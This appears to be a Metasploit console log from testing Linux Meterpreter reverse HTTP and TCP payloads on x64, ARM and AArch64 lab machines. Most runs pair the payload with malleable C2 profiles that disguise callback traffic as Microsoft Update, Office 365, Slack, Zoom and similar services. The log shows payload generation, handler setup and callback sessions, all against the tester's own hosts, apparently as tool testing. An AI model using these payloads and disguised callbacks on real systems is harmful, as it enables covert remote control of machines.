[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: jo4lg08a) Attaching orphaned/stageless session...
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: jo4lg08a) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 10 opened (192.168.3.10:8080 -> 192.168.3.10:56796) at 2026-06-10 04:38:32 -0400

msf payload(linux/x64/meterpreter_reverse_http) > sessions -i -1
[*] Starting interaction with 10...

meterpreter > ls
[-] Send timed out. Timeout currently 15 seconds, you can configure this with sessions --interact <id> --timeout <value>
meterpreter > 

microsoft_update ✅

msf payload(linux/x64/meterpreter_reverse_http) > 
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 57chgtuo) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 57chgtuo) Redirecting stageless: URI '/c/msdownload/update/others/2016/12/29136388_/RVpnZVJBM0ZsLU5wbDItVkE3NVlYQWo4TnJGMTd5UGN3Si0zQzZyY3FNYU1nM3lwQV9JeWk0YVcyTEd0Y2NLbW1XUG5CLWZpMnR5aEw2.cab' with UA '' -> UUID EZgeRA3Fl-Npl2-VA75YcAI_B_Fjwpp0K0iG5HSw-jZjYC4lk18E5Ti-bO-PA6OJhrO9H-zYu2BeG4jc7NQzYiXBDgfylYqFivskDikbZG
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 57chgtuo) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 57chgtuo) Attaching orphaned/stageless session...
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 57chgtuo) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 1 opened (192.168.3.10:8080 -> 192.168.3.10:54840) at 2026-06-10 05:44:10 -0400

msf payload(linux/x64/meterpreter_reverse_http) > sessions

Active sessions
===============

  Id  Name  Type                   Information  Connection
  --  ----  ----                   -----------  ----------
  1         meterpreter x64/linux  kali @ kali  192.168.3.10:8080 -> 192.168.3.10:54840 (192.168.3.10)

msf payload(linux/x64/meterpreter_reverse_http) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer     : kali
OS           : Debian  (Linux 6.19.14+kali-amd64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: kali
meterpreter > exit
[*] Shutting down session: 1

[*] 192.168.3.10 - Meterpreter session 1 closed.  Reason: User exit
msf payload(linux/x64/meterpreter_reverse_http) > set malleablec2 
malleablec2 => /home/kali/Documents/profiles/microsoft_update.profile
msf payload(linux/x64/meterpreter_reverse_http) > 

mscrl ✅

msf payload(linux/x64/meterpreter_reverse_http) > set malleablec2 /home/kali/Documents/profiles/mscrl.profile
malleablec2 => /home/kali/Documents/profiles/mscrl.profile
msf payload(linux/x64/meterpreter_reverse_http) > to_handler 
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/mettle/x86_64-linux-musl/bin/mettle is being used
WARNING: Local files may be incompatible Metasploit framework
[*] Payload Handler Started as Job 0
msf payload(linux/x64/meterpreter_reverse_http) > 
[*] Started HTTP reverse handler on http://192.168.3.10:8080

msf payload(linux/x64/meterpreter_reverse_http) > generate -f elf -o ~/Public/metsrv.x64.elf
[*] Writing 1138480 bytes to ~/Public/metsrv.x64.elf...
msf payload(linux/x64/meterpreter_reverse_http) > 
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 0pt59gqo) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 0pt59gqo) Redirecting stageless: URI '/pki/mscorp/cps/default.htm' with UA '' -> UUID 0wIWqqCMgOzvYulghUvdjAQhBLS4bpBZoWcdR3YWx7w9mNTGm
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 0pt59gqo) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 0pt59gqo) Attaching orphaned/stageless session...
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 0pt59gqo) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 1 opened (192.168.3.10:8080 -> 192.168.3.10:52606) at 2026-06-10 05:48:32 -0400

msf payload(linux/x64/meterpreter_reverse_http) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: kali
meterpreter > sysinfo
Computer     : kali
OS           : Debian  (Linux 6.19.14+kali-amd64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > 

msnbcvideo_getonly ✅

msf payload(linux/x64/meterpreter_reverse_http) > set malleablec2 /home/kali/Documents/profiles/msnbcvideo_getonly.profile
malleablec2 => /home/kali/Documents/profiles/msnbcvideo_getonly.profile
msf payload(linux/x64/meterpreter_reverse_http) > to_handler 
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/mettle/x86_64-linux-musl/bin/mettle is being used
WARNING: Local files may be incompatible Metasploit framework
[*] Payload Handler Started as Job 0
msf payload(linux/x64/meterpreter_reverse_http) > 
[*] Started HTTP reverse handler on http://192.168.3.10:8080
set malleablec2 /home/kali/Documents/profiles/msnbInterrupt: use the 'exit' command to quit
msf payload(linux/x64/meterpreter_reverse_http) > generate -f elf -o ~/Public/metsrv.x64.elf
[*] Writing 1138480 bytes to ~/Public/metsrv.x64.elf...
msf payload(linux/x64/meterpreter_reverse_http) > 
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 7hc3pofw) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 7hc3pofw) Redirecting stageless: URI '/z/msnbc2_live01@9615/manifest.f4m' with UA '' -> UUID OUY7Od3hu7VyynTIGONEcg0ALNfQOEme4Xdd-gZMQJClcLF7txFg5s98GLEppb38A3rwi9daT1k96DR1IWJ1B5ulFa9Mf1POlYp-5FbLORkNzk
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 7hc3pofw) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 7hc3pofw) Attaching orphaned/stageless session...
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 7hc3pofw) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 1 opened (192.168.3.10:8080 -> 192.168.3.10:37470) at 2026-06-10 06:04:42 -0400

msf payload(linux/x64/meterpreter_reverse_http) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer     : kali
OS           : Debian  (Linux 6.19.14+kali-amd64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: kali
meterpreter > exit
[*] Shutting down session: 1

[*] 192.168.3.10 - Meterpreter session 1 closed.  Reason: User exit
msf payload(linux/x64/meterpreter_reverse_http) > 

office365_calendar ✅

msf payload(linux/x64/meterpreter_reverse_http) > set malleablec2 /home/kali/Documents/profiles/office365_calendar.profile
malleablec2 => /home/kali/Documents/profiles/office365_calendar.profile
msf payload(linux/x64/meterpreter_reverse_http) > generate -f elf -o ~/Public/metsrv.x64.elf
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/mettle/x86_64-linux-musl/bin/mettle is being used
WARNING: Local files may be incompatible Metasploit framework
[*] Writing 1138480 bytes to ~/Public/metsrv.x64.elf...
msf payload(linux/x64/meterpreter_reverse_http) > to_handler
[*] Payload Handler Started as Job 0
msf payload(linux/x64/meterpreter_reverse_http) > 
[*] Started HTTP reverse handler on http://192.168.3.10:8080
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: hxvf2erw) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: hxvf2erw) Redirecting stageless: URI '/owa/' with UA '' -> UUID 5hcpf-I7h7DYjd6PsqTvgA2BHMPWDleiQB4v3Wevl91gBQUEj5rvU8tD-Uq
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: hxvf2erw) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: hxvf2erw) Attaching orphaned/stageless session...
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: hxvf2erw) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 1 opened (192.168.3.10:8080 -> 192.168.3.10:46944) at 2026-06-10 06:06:07 -0400

msf payload(linux/x64/meterpreter_reverse_http) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer     : kali
OS           : Debian  (Linux 6.19.14+kali-amd64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: kali
meterpreter > 

oscp ✅

msf payload(linux/x64/meterpreter_reverse_http) > set malleablec2 /home/kali/Documents/profiles/oscp.profile
malleablec2 => /home/kali/Documents/profiles/oscp.profile
msf payload(linux/x64/meterpreter_reverse_http) > to_handler
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/mettle/x86_64-linux-musl/bin/mettle is being used
WARNING: Local files may be incompatible Metasploit framework
[*] Payload Handler Started as Job 0
msf payload(linux/x64/meterpreter_reverse_http) > 
[*] Started HTTP reverse handler on http://192.168.3.10:8080

msf payload(linux/x64/meterpreter_reverse_http) > generate -f elf -o ~/Public/metsrv.x64.elf
[*] Writing 1138480 bytes to ~/Public/metsrv.x64.elf...
msf payload(linux/x64/meterpreter_reverse_http) > 
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: avly5pwt) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: avly5pwt) Redirecting stageless: URI '/oscp/Cfst7YYXxRXIIc4jogj_6QGOumfxF5GPrcTCJKox2i-c3wwBmb__92i2zuXII6q7ZF886nUoKOlOClexRa7ldUTjWDoshiBCani96FqgXWQ3F-w_5jcVEP40' with UA '' -> UUID Cfst7YYXxRXIIc4jogj_6g6Rx00zqW_UJ
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: avly5pwt) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: avly5pwt) Attaching orphaned/stageless session...
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: avly5pwt) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 1 opened (192.168.3.10:8080 -> 192.168.3.10:41562) at 2026-06-10 06:09:18 -0400

msf payload(linux/x64/meterpreter_reverse_http) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: kali
meterpreter > sysinfo
Computer     : kali
OS           : Debian  (Linux 6.19.14+kali-amd64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > 

reddit ✅

msf payload(linux/x64/meterpreter_reverse_http) > set malleablec2 /home/kali/Documents/profiles/reddit.profile
malleablec2 => /home/kali/Documents/profiles/reddit.profile
msf payload(linux/x64/meterpreter_reverse_http) > generate -f elf -o ~/Public/metsrv.x64.elf
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/mettle/x86_64-linux-musl/bin/mettle is being used
WARNING: Local files may be incompatible Metasploit framework
[*] Writing 1138480 bytes to ~/Public/metsrv.x64.elf...
msf payload(linux/x64/meterpreter_reverse_http) > to_handler
[*] Payload Handler Started as Job 0
msf payload(linux/x64/meterpreter_reverse_http) > 
[*] Started HTTP reverse handler on http://192.168.3.10:8080
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 9v6mdx2z) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 9v6mdx2z) Redirecting stageless: URI '/r/webdev/comments/95ltyr' with UA '' -> UUID TFKfTpiuw30U8RLzftgsowW8FW-O4bnzTxUoWJqvbgn7KMpoe6GPeQvqwQTetw-2c5bak1lDjJzVjYqXDJbuywKMs5S
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 9v6mdx2z) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 9v6mdx2z) Attaching orphaned/stageless session...
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 9v6mdx2z) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 1 opened (192.168.3.10:8080 -> 192.168.3.10:38074) at 2026-06-10 06:11:32 -0400
 
msf payload(linux/x64/meterpreter_reverse_http) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer     : kali
OS           : Debian  (Linux 6.19.14+kali-amd64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: kali
meterpreter > exit
[*] Shutting down session: 1

[*] 192.168.3.10 - Meterpreter session 1 closed.  Reason: User exit
msf payload(linux/x64/meterpreter_reverse_http) > 

rtmp ✅

msf payload(linux/x64/meterpreter_reverse_http) > generate -f elf -o ~/Public/metsrv.x64.elf
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: lwr06yxf) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: lwr06yxf) Redirecting stageless: URI '/idle/1376547834/1' with UA '' -> UUID c8i4Jby9eYyrQK1CwWmTnAu8x6ZzzED___7emtzc6C9xlWk1GYdN3dOhEYKbNPz0olKl__u4KxcXqfrmi07DXCJkXsNUqmfbxxFmlCrbzhbF0qmVRlRG4g9T8
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: lwr06yxf) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: lwr06yxf) Attaching orphaned/stageless session...
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: lwr06yxf) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 1 opened (192.168.3.10:8080 -> 192.168.3.10:56036) at 2026-06-10 06:13:50 -0400
msf payload(linux/x64/meterpreter_reverse_http) > sessions -i -1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer     : kali
OS           : Debian  (Linux 6.19.14+kali-amd64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: kali
meterpreter > 

slack 🔴

msf payload(linux/x64/meterpreter_reverse_http) > set malleablec2 /home/kali/Documents/profiles/slack.profile
malleablec2 => /home/kali/Documents/profiles/slack.profile
msf payload(linux/x64/meterpreter_reverse_http) > generate -f elf -o ~/Public/metsrv.x64.elf
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/mettle/x86_64-linux-musl/bin/mettle is being used
WARNING: Local files may be incompatible Metasploit framework
[*] Writing 1138480 bytes to ~/Public/metsrv.x64.elf...
msf payload(linux/x64/meterpreter_reverse_http) > to_handler
[*] Payload Handler Started as Job 0
msf payload(linux/x64/meterpreter_reverse_http) > 
[*] Started HTTP reverse handler on http://192.168.3.10:8080

msf payload(linux/x64/meterpreter_reverse_http) > 
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: xphyd07m) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: xphyd07m) Redirecting stageless: URI '/messages/C0527B0NM' with UA '' -> UUID q3DrkDyE_23Ui9KJvqLtKA3SE2pfsnzusrbjiePuibddLbsTlcE4fCqhiGB6o4KyY-Afpxf87kyPJzk6XfGo_jujdswDbnfdJy31YohJqSdPaPBq_Oln
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: xphyd07m) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: xphyd07m) Attaching orphaned/stageless session...
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: xphyd07m) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 1 opened (192.168.3.10:8080 -> 192.168.3.10:41582) at 2026-06-10 06:17:09 -0400

msf payload(linux/x64/meterpreter_reverse_http) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > sysinfo
[-] Send timed out. Timeout currently 15 seconds, you can configure this with sessions --interact <id> --timeout <value>
meterpreter > 

stackoverflow ✅

msf payload(linux/x64/meterpreter_reverse_http) > set malleablec2 /home/kali/Documents/profiles/stackoverflow.profile
malleablec2 => /home/kali/Documents/profiles/stackoverflow.profile
msf payload(linux/x64/meterpreter_reverse_http) > generate -f elf -o ~/Public/metsrv.x64.elf
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/mettle/x86_64-linux-musl/bin/mettle is being used
WARNING: Local files may be incompatible Metasploit framework
[*] Writing 1138480 bytes to ~/Public/metsrv.x64.elf...
msf payload(linux/x64/meterpreter_reverse_http) > to_handler
[*] Payload Handler Started as Job 0
msf payload(linux/x64/meterpreter_reverse_http) > 
[*] Started HTTP reverse handler on http://192.168.3.10:8080

msf payload(linux/x64/meterpreter_reverse_http) > 
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 7qsdle6j) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 7qsdle6j) Redirecting stageless: URI '/questions/32251816/c-sharp-directives-compilation-error' with UA '' -> UUID 7ZPa6ERcH2yOWYhb5HC0FAHOqWRFHUS1myZrZIp2TzAwBlYPxPdY-YFDouTuMwC94j6H9GtSXtmFTYdvWOY1Rfa6G2vx
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 7qsdle6j) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 7qsdle6j) Attaching orphaned/stageless session...
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 7qsdle6j) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 1 opened (192.168.3.10:8080 -> 192.168.3.10:47318) at 2026-06-10 06:20:00 -0400

msf payload(linux/x64/meterpreter_reverse_http) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer     : kali
OS           : Debian  (Linux 6.19.14+kali-amd64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: kali
meterpreter >

trevor ✅

msf payload(linux/x64/meterpreter_reverse_http) > set malleablec2 /home/kali/Documents/profiles/trevor.profile
malleablec2 => /home/kali/Documents/profiles/trevor.profile
msf payload(linux/x64/meterpreter_reverse_http) > generate -f elf -o ~/Public/metsrv.x64.elf
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/mettle/x86_64-linux-musl/bin/mettle is being used
WARNING: Local files may be incompatible Metasploit framework
[*] Writing 1138480 bytes to ~/Public/metsrv.x64.elf...
msf payload(linux/x64/meterpreter_reverse_http) > to_handler
[*] Payload Handler Started as Job 0
msf payload(linux/x64/meterpreter_reverse_http) > 
[*] Started HTTP reverse handler on http://192.168.3.10:8080

msf payload(linux/x64/meterpreter_reverse_http) > 
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: dxi96hvr) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: dxi96hvr) Redirecting stageless: URI '/us/ky/louisville/312-s-fourth-st.html' with UA '' -> UUID vHSrZBS5wSFnkmGQDbtdVA0HaWUXLc1VTZ-v340L_8ahMVmzEBuCcoKIO1q4zttjUXD
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: dxi96hvr) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: dxi96hvr) Attaching orphaned/stageless session...
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: dxi96hvr) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 1 opened (192.168.3.10:8080 -> 192.168.3.10:38000) at 2026-06-10 06:22:00 -0400

msf payload(linux/x64/meterpreter_reverse_http) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer     : kali
OS           : Debian  (Linux 6.19.14+kali-amd64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: kali
meterpreter > exit
[*] Shutting down session: 1

[*] 192.168.3.10 - Meterpreter session 1 closed.  Reason: User exit
msf payload(linux/x64/meterpreter_reverse_http) > 

youtube_video ✅

msf payload(linux/x64/meterpreter_reverse_http) > set malleablec2 /home/kali/Documents/profiles/youtube_video.profile
malleablec2 => /home/kali/Documents/profiles/youtube_video.profile
msf payload(linux/x64/meterpreter_reverse_http) > generate -f elf -o ~/Public/metsrv.x64.elf
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/mettle/x86_64-linux-musl/bin/mettle is being used
WARNING: Local files may be incompatible Metasploit framework
[*] Writing 1138480 bytes to ~/Public/metsrv.x64.elf...
msf payload(linux/x64/meterpreter_reverse_http) > to_handler
[*] Payload Handler Started as Job 0
msf payload(linux/x64/meterpreter_reverse_http) > 
[*] Started HTTP reverse handler on http://192.168.3.10:8080

msf payload(linux/x64/meterpreter_reverse_http) > 
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 5eq7apdy) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 5eq7apdy) Redirecting stageless: URI '/watch' with UA '' -> UUID 7bqoonWCpgeSS5RJ-GKpfAkTjXgOFf4cCJnb2Qi3xU7CoOyhz4SAeZjiCOazlMFEP-6YSo1ZJcjfv489vEzb
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 5eq7apdy) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 5eq7apdy) Attaching orphaned/stageless session...
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: 5eq7apdy) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 1 opened (192.168.3.10:8080 -> 192.168.3.10:38402) at 2026-06-10 06:23:53 -0400

msf payload(linux/x64/meterpreter_reverse_http) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer     : kali
OS           : Debian  (Linux 6.19.14+kali-amd64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: kali
meterpreter > exit
[*] Shutting down session: 1

[*] 192.168.3.10 - Meterpreter session 1 closed.  Reason: User exit
msf payload(linux/x64/meterpreter_reverse_http) > 

zoom ✅

msf payload(linux/x64/meterpreter_reverse_http) > set malleablec2 /home/kali/Documents/profiles/zoom.profile
malleablec2 => /home/kali/Documents/profiles/zoom.profile
msf payload(linux/x64/meterpreter_reverse_http) > generate -f elf -o ~/Public/metsrv.x64.elf
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/mettle/x86_64-linux-musl/bin/mettle is being used
WARNING: Local files may be incompatible Metasploit framework
[*] Writing 1138480 bytes to ~/Public/metsrv.x64.elf...
msf payload(linux/x64/meterpreter_reverse_http) > to_handler
[*] Payload Handler Started as Job 0
msf payload(linux/x64/meterpreter_reverse_http) > 
[*] Started HTTP reverse handler on http://192.168.3.10:8080
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: wr7oazx5) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: wr7oazx5) Redirecting stageless: URI '/s/58462514417 /wc/58462514417' with UA '' -> UUID koLWr7Y8hUDhdOd2i123UQcptWFO4fS4
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: wr7oazx5) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: wr7oazx5) Attaching orphaned/stageless session...
[!] http://192.168.3.10:8080 handling request from 192.168.3.10; (UUID: wr7oazx5) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 1 opened (192.168.3.10:8080 -> 192.168.3.10:53114) at 2026-06-10 08:18:47 -0400

msf payload(linux/x64/meterpreter_reverse_http) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer     : kali
OS           : Debian  (Linux 6.19.14+kali-amd64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: kali
meterpreter > 
X86

reverse tcp (stageless ad staged)

reverse https (stageless)

test profiles

ARMLE

reverse tcp (stageless ad staged)

staged ✅

msf payload(linux/armle/meterpreter/reverse_tcp) > 
[*] Sending stage (988552 bytes) to 10.5.132.212
[*] Meterpreter session 1 opened (192.168.3.10:4444 -> 10.5.132.212:44788) at 2026-06-15 12:20:04 -0400

msf payload(linux/armle/meterpreter/reverse_tcp) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: kali
meterpreter > sysinfo
Computer     : kali-raspberrypi
OS           : Debian  (Linux 5.15.44-Re4son-v7+)
Architecture : armv7l
BuildTuple   : armv5l-linux-musleabi
Meterpreter  : armle/linux
meterpreter > 

stageless ✅

msf payload(linux/armle/meterpreter_reverse_tcp) > [*] Meterpreter session 2 opened (192.168.3.10:4444 -> 10.5.132.212:55402) at 2026-06-15 12:31:55 -0400

msf payload(linux/armle/meterpreter_reverse_tcp) > sessions -i -1
[*] Starting interaction with 2...

meterpreter > sysinfo
Computer     : kali-raspberrypi
OS           : Debian  (Linux 5.15.44-Re4son-v7+)
Architecture : armv7l
BuildTuple   : armv5l-linux-musleabi
Meterpreter  : armle/linux
meterpreter > getuid
Server username: kali
meterpreter > 

reverse https (stageless) ✅

msf payload(linux/armle/meterpreter_reverse_http) > 
[!] http://192.168.3.10:8080 handling request from 10.5.132.212; (UUID: w1iy0ux3) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 10.5.132.212; (UUID: w1iy0ux3) Redirecting stageless: URI '/IsssaLEsUr8DMAU8aQApUwlXUS_' with UA '' -> UUID IsssaLEsUr8DMAU8aQApQQ8-mQOBvmgNVsZgrftNm8B8i
[!] http://192.168.3.10:8080 handling request from 10.5.132.212; (UUID: w1iy0ux3) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 10.5.132.212; (UUID: w1iy0ux3) Attaching orphaned/stageless session...
[!] http://192.168.3.10:8080 handling request from 10.5.132.212; (UUID: w1iy0ux3) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 3 opened (192.168.3.10:8080 -> 10.5.132.212:41130) at 2026-06-15 12:38:15 -0400

msf payload(linux/armle/meterpreter_reverse_http) > sessions -i -1
[*] Starting interaction with 3...

meterpreter > sysinfo
Computer     : kali-raspberrypi
OS           : Debian  (Linux 5.15.44-Re4son-v7+)
Architecture : armv7l
BuildTuple   : armv5l-linux-musleabi
Meterpreter  : armle/linux
meterpreter > getuid
Server username: kali
meterpreter > 

profile test ✅

msf payload(linux/armle/meterpreter_reverse_http) > 
[*] Started HTTP reverse handler on http://192.168.3.10:8080
[!] http://192.168.3.10:8080 handling request from 10.5.132.212; (UUID: i8qe5b2p) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 10.5.132.212; (UUID: i8qe5b2p) Redirecting stageless: URI '/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books' with UA '' -> UUID Sa_MOvbTQghKTkxCIH9VHw-o-1mLZ3o9R-l63ENglX_aUJ7RqdKsBVOg
[!] http://192.168.3.10:8080 handling request from 10.5.132.212; (UUID: i8qe5b2p) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 10.5.132.212; (UUID: i8qe5b2p) Attaching orphaned/stageless session...
[!] http://192.168.3.10:8080 handling request from 10.5.132.212; (UUID: i8qe5b2p) Without a database connected that payload UUID tracking will not work!

msf payload(linux/armle/meterpreter_reverse_http) > sessions -[*] Meterpreter session 1 opened (192.168.3.10:8080 -> 10.5.132.212:57386) at 2026-06-16 06:03:02 -0400
i -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer     : kali-raspberrypi
OS           : Debian  (Linux 5.15.44-Re4son-v7+)
Architecture : armv7l
BuildTuple   : armv5l-linux-musleabi
Meterpreter  : armle/linux
meterpreter > getuid
Server username: kali
meterpreter > 
AARCH64

reverse tcp (stageless ad staged)

staged ✅

msf payload(linux/aarch64/meterpreter/reverse_tcp) > jobs -K
[*] Transmitting intermediate midstager...(256 bytes)
[*] Sending stage (1002812 bytes) to 10.5.132.215
[*] Meterpreter session 13 opened (192.168.3.10:4444 -> 10.5.132.215:40122) at 2026-06-15 11:29:32 -0400

Stopping all jobs...
msf payload(linux/aarch64/meterpreter/reverse_tcp) > sessions -i -1
[*] Starting interaction with 13...

meterpreter > sysinfo
Computer     : kali-raspberrypi
OS           : Debian  (Linux 6.6.63-v8+)
Architecture : aarch64
BuildTuple   : aarch64-linux-musl
Meterpreter  : aarch64/linux
meterpreter > getuid
Server username: kali
meterpreter > 

stageless ✅

msf payload(linux/aarch64/meterpreter_reverse_tcp) > generate -f elf -o ~/Public/metsrv.aarch64.elf
[*] Writing 1198496 bytes to ~/Public/metsrv.aarch64.elf...
msf payload(linux/aarch64/meterpreter_reverse_tcp) > [*] Meterpreter session 14 opened (192.168.3.10:4444 -> 10.5.132.215:41612) at 2026-06-15 11:31:01 -0400

msf payload(linux/aarch64/meterpreter_reverse_tcp) > sessions -i -1
[*] Starting interaction with 14...

meterpreter > sysinfo
Computer     : kali-raspberrypi
OS           : Debian  (Linux 6.6.63-v8+)
Architecture : aarch64
BuildTuple   : aarch64-linux-musl
Meterpreter  : aarch64/linux
meterpreter > getuid
Server username: kali
meterpreter > 

reverse https (stageless) ✅

